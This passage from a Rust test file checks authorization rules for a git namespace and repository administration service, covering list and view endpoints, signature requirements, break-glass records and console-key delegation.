async fn namespace_list_refuses_a_namespace_admin_outside_their_namespace() {
for t in TRANSPORTS {
let f = fixture().await;
let (_, other) = two_namespaces(&f).await;
for named in [other.as_str(), "ns_does_not_exist"] {
let out = read_over(
&f,
t,
&f.carol,
<namespace_list_v0_1::Payload as trust_tasks_rs::Payload>::TYPE_URI,
json!({ "namespace": named }),
true,
)
.await;
assert_eq!(
code(&out),
namespace_list_v0_1::error_codes::NOT_ADMINISTRATOR.code,
"{t:?}: {named} — an unknown namespace is answered as one not administered"
);
}
}
}
#[tokio::test]
async fn namespace_list_refuses_an_unsigned_document() {
for t in TRANSPORTS {
let f = fixture().await;
two_namespaces(&f).await;
let out = read_over(
&f,
t,
&f.admin,
<namespace_list_v0_1::Payload as trust_tasks_rs::Payload>::TYPE_URI,
json!({}),
false,
)
.await;
assert_eq!(code(&out), "proofRequired", "{t:?}");
}
}
#[tokio::test]
async fn repo_list_answers_each_administrator_the_repositories_they_administer() {
for t in TRANSPORTS {
let f = fixture().await;
let (acme, other) = two_namespaces(&f).await;
let all = ok(&read_over(
&f,
t,
&f.admin,
<repo_list_v0_1::Payload as trust_tasks_rs::Payload>::TYPE_URI,
json!({}),
true,
)
.await);
assert_eq!(
resources(&all, "repos", "resource"),
["github.com/acme/widgets", "github.com/other/hidden"],
"{t:?}"
);
let widgets = &all["repos"][0];
assert_eq!(widgets["namespace"], acme.as_str());
assert_eq!(
widgets["committers"], 1,
"{t:?}: Bob's commit right is counted"
);
assert_eq!(widgets["steps"], json!([]));
let mine = ok(&read_over(
&f,
t,
&f.carol,
<repo_list_v0_1::Payload as trust_tasks_rs::Payload>::TYPE_URI,
json!({}),
true,
)
.await);
assert_eq!(
resources(&mine, "repos", "resource"),
["github.com/acme/widgets"],
"{t:?}"
);
let one = ok(&read_over(
&f,
t,
&f.admin,
<repo_list_v0_1::Payload as trust_tasks_rs::Payload>::TYPE_URI,
json!({ "namespace": other }),
true,
)
.await);
assert_eq!(
resources(&one, "repos", "resource"),
["github.com/other/hidden"],
"{t:?}"
);
}
}
#[tokio::test]
async fn repo_list_refuses_a_caller_who_administers_nothing() {
for t in TRANSPORTS {
let f = fixture().await;
two_namespaces(&f).await;
for who in [&f.bob, &f.stranger] {
let out = read_over(
&f,
t,
who,
<repo_list_v0_1::Payload as trust_tasks_rs::Payload>::TYPE_URI,
json!({}),
true,
)
.await;
assert_eq!(
code(&out),
repo_list_v0_1::error_codes::NOT_ADMINISTRATOR.code,
"{t:?}"
);
}
}
}
#[tokio::test]
async fn repo_list_refuses_a_namespace_admin_outside_their_namespace() {
for t in TRANSPORTS {
let f = fixture().await;
let (_, other) = two_namespaces(&f).await;
let out = read_over(
&f,
t,
&f.carol,
<repo_list_v0_1::Payload as trust_tasks_rs::Payload>::TYPE_URI,
json!({ "namespace": other }),
true,
)
.await;
assert_eq!(
code(&out),
repo_list_v0_1::error_codes::NOT_ADMINISTRATOR.code,
"{t:?}"
);
}
}
#[tokio::test]
async fn repo_list_refuses_an_unsigned_document() {
for t in TRANSPORTS {
let f = fixture().await;
two_namespaces(&f).await;
let out = read_over(
&f,
t,
&f.admin,
<repo_list_v0_1::Payload as trust_tasks_rs::Payload>::TYPE_URI,
json!({}),
false,
)
.await;
assert_eq!(code(&out), "proofRequired", "{t:?}");
}
}
#[tokio::test]
async fn view_0_5_administrator_scope_answers_every_record_and_reason_in_the_administered_namespaces()
{
for t in TRANSPORTS {
let f = fixture().await;
two_namespaces(&f).await;
let admin_scope = json!({ "scope": "administrator" });
let all = ok(&read_over(
&f,
t,
&f.admin,
<view_v0_5::Payload as trust_tasks_rs::Payload>::TYPE_URI,
admin_scope.clone(),
true,
)
.await);
assert_eq!(
resources(&all, "repos", "resource"),
["github.com/acme/widgets", "github.com/other/hidden"],
"{t:?}"
);
let bobs = all["rights"]
.as_array()
.unwrap()
.iter()
.find(|r| r["subject"] == f.bob.did.as_str() && r["right"] == "git.commit.sign")
.expect("Bob's grant is listed");
assert_eq!(
bobs["reason"], "release help",
"{t:?}: reasons go to administrators"
);
let carols = ok(&read_over(
&f,
t,
&f.carol,
<view_v0_5::Payload as trust_tasks_rs::Payload>::TYPE_URI,
admin_scope,
true,
)
.await);
let ns: Vec<String> = carols["namespaces"]
.as_array()
.unwrap()
.iter()
.map(|n| n["owner"].as_str().unwrap().to_string())
.collect();
assert_eq!(
ns,
["acme"],
"{t:?}: a namespace admin's administrator read is their own"
);
assert_eq!(
resources(&carols, "repos", "resource"),
["github.com/acme/widgets"]
);
assert!(
carols["rights"]
.as_array()
.unwrap()
.iter()
.all(|r| r["resource"]
.as_str()
.unwrap()
.starts_with("github.com/acme")),
"{t:?}: nothing of `other` reaches Carol"
);
let member = ok(&read_over(
&f,
t,
&f.bob,
<view_v0_5::Payload as trust_tasks_rs::Payload>::TYPE_URI,
json!({}),
true,
)
.await);
assert_eq!(member["accounts"], json!([]));
}
}
#[tokio::test]
async fn view_0_5_administrator_scope_refuses_a_member_who_administers_nothing() {
for t in TRANSPORTS {
let f = fixture().await;
two_namespaces(&f).await;
let out = read_over(
&f,
t,
&f.bob,
<view_v0_5::Payload as trust_tasks_rs::Payload>::TYPE_URI,
json!({ "scope": "administrator" }),
true,
)
.await;
assert_eq!(
code(&out),
view_v0_5::error_codes::NOT_ADMINISTRATOR.code,
"{t:?}"
);
let out = read_over(
&f,
t,
&f.stranger,
<view_v0_5::Payload as trust_tasks_rs::Payload>::TYPE_URI,
json!({}),
true,
)
.await;
assert_eq!(code(&out), "permissionDenied", "{t:?}");
}
}
#[tokio::test]
async fn view_0_5_administrator_scope_refuses_a_namespace_admin_outside_their_namespace() {
for t in TRANSPORTS {
let f = fixture().await;
two_namespaces(&f).await;
for resource in [
"github.com/other",
"github.com/other/hidden",
"github.com/nobody",
] {
let out = read_over(
&f,
t,
&f.carol,
<view_v0_5::Payload as trust_tasks_rs::Payload>::TYPE_URI,
json!({ "scope": "administrator", "resource": resource }),
true,
)
.await;
assert_eq!(
code(&out),
view_v0_5::error_codes::NOT_ADMINISTRATOR.code,
"{t:?}: {resource}"
);
}
}
}
#[tokio::test]
async fn view_0_5_refuses_an_unsigned_document() {
for t in TRANSPORTS {
let f = fixture().await;
two_namespaces(&f).await;
let out = read_over(
&f,
t,
&f.admin,
<view_v0_5::Payload as trust_tasks_rs::Payload>::TYPE_URI,
json!({ "scope": "administrator" }),
false,
)
.await;
assert_eq!(code(&out), "proofRequired", "{t:?}");
}
}
#[tokio::test]
async fn view_0_5_break_glass_lists_only_break_glass_records_to_their_administrators() {
for t in TRANSPORTS {
let f = fixture().await;
two_namespaces(&f).await;
let dana = Party::new();
seed_acl(&f.vtc.state, &dana.did, VtcRole::Member).await;
ok(&grant(&f, &f.admin, &dana.did, "git.ns.admin", "github.com/acme").await);
ok(&break_glass(&f, &dana, "git.repo.create", "github.com/acme").await);
let q = json!({ "scope": "administrator", "breakGlass": true });
for who in [&f.admin, &f.carol] {
let v = ok(&read_over(
&f,
t,
who,
<view_v0_5::Payload as trust_tasks_rs::Payload>::TYPE_URI,
q.clone(),
true,
)
.await);
let rights = v["rights"].as_array().unwrap();
assert_eq!(rights.len(), 1, "{t:?}: {rights:?}");
assert_eq!(rights[0]["subject"], dana.did.as_str());
assert!(rights[0]["breakGlass"]["ratifiedBy"].is_null());
assert_eq!(v["namespaces"].as_array().unwrap().len(), 1, "{t:?}");
assert_eq!(v["repos"], json!([]), "{t:?}: the record is namespace-wide");
}
let out = read_over(
&f,
t,
&f.bob,
<view_v0_5::Payload as trust_tasks_rs::Payload>::TYPE_URI,
q,
true,
)
.await;
assert_eq!(
code(&out),
view_v0_5::error_codes::NOT_ADMINISTRATOR.code,
"{t:?}"
);
}
}
#[tokio::test]
async fn namespace_list_signed_by_a_console_key_answers_its_administrator() {
let f = fixture().await;
two_namespaces(&f).await;
let console = Party::new();
crate::acl::console_key::store_delegation(
&f.vtc.state.console_keys_ks,
&crate::acl::console_key::ConsoleKeyDelegation {
console_did: console.did.clone(),
admin_did: f.carol.did.clone(),
scope: crate::acl::console_key::DelegationScope::Console,
label: None,
created_at: chrono::Utc::now(),
expires_at: chrono::Utc::now() + chrono::Duration::days(1),
last_used_at: None,
revoked_at: None,
revoked_by: None,
},
)
.await
.unwrap();
let v = ok(&read_over(
&f,
JoinTransport::Rest,
&console,
<namespace_list_v0_1::Payload as trust_tasks_rs::Payload>::TYPE_URI,
json!({}),
true,
)
.await);
assert_eq!(resources(&v, "namespaces", "resource"), ["github.com/acme"]);
}
mod break_glass_queue;
mod c3;
mod pr_gate;
mod single_admin;
mod suspension;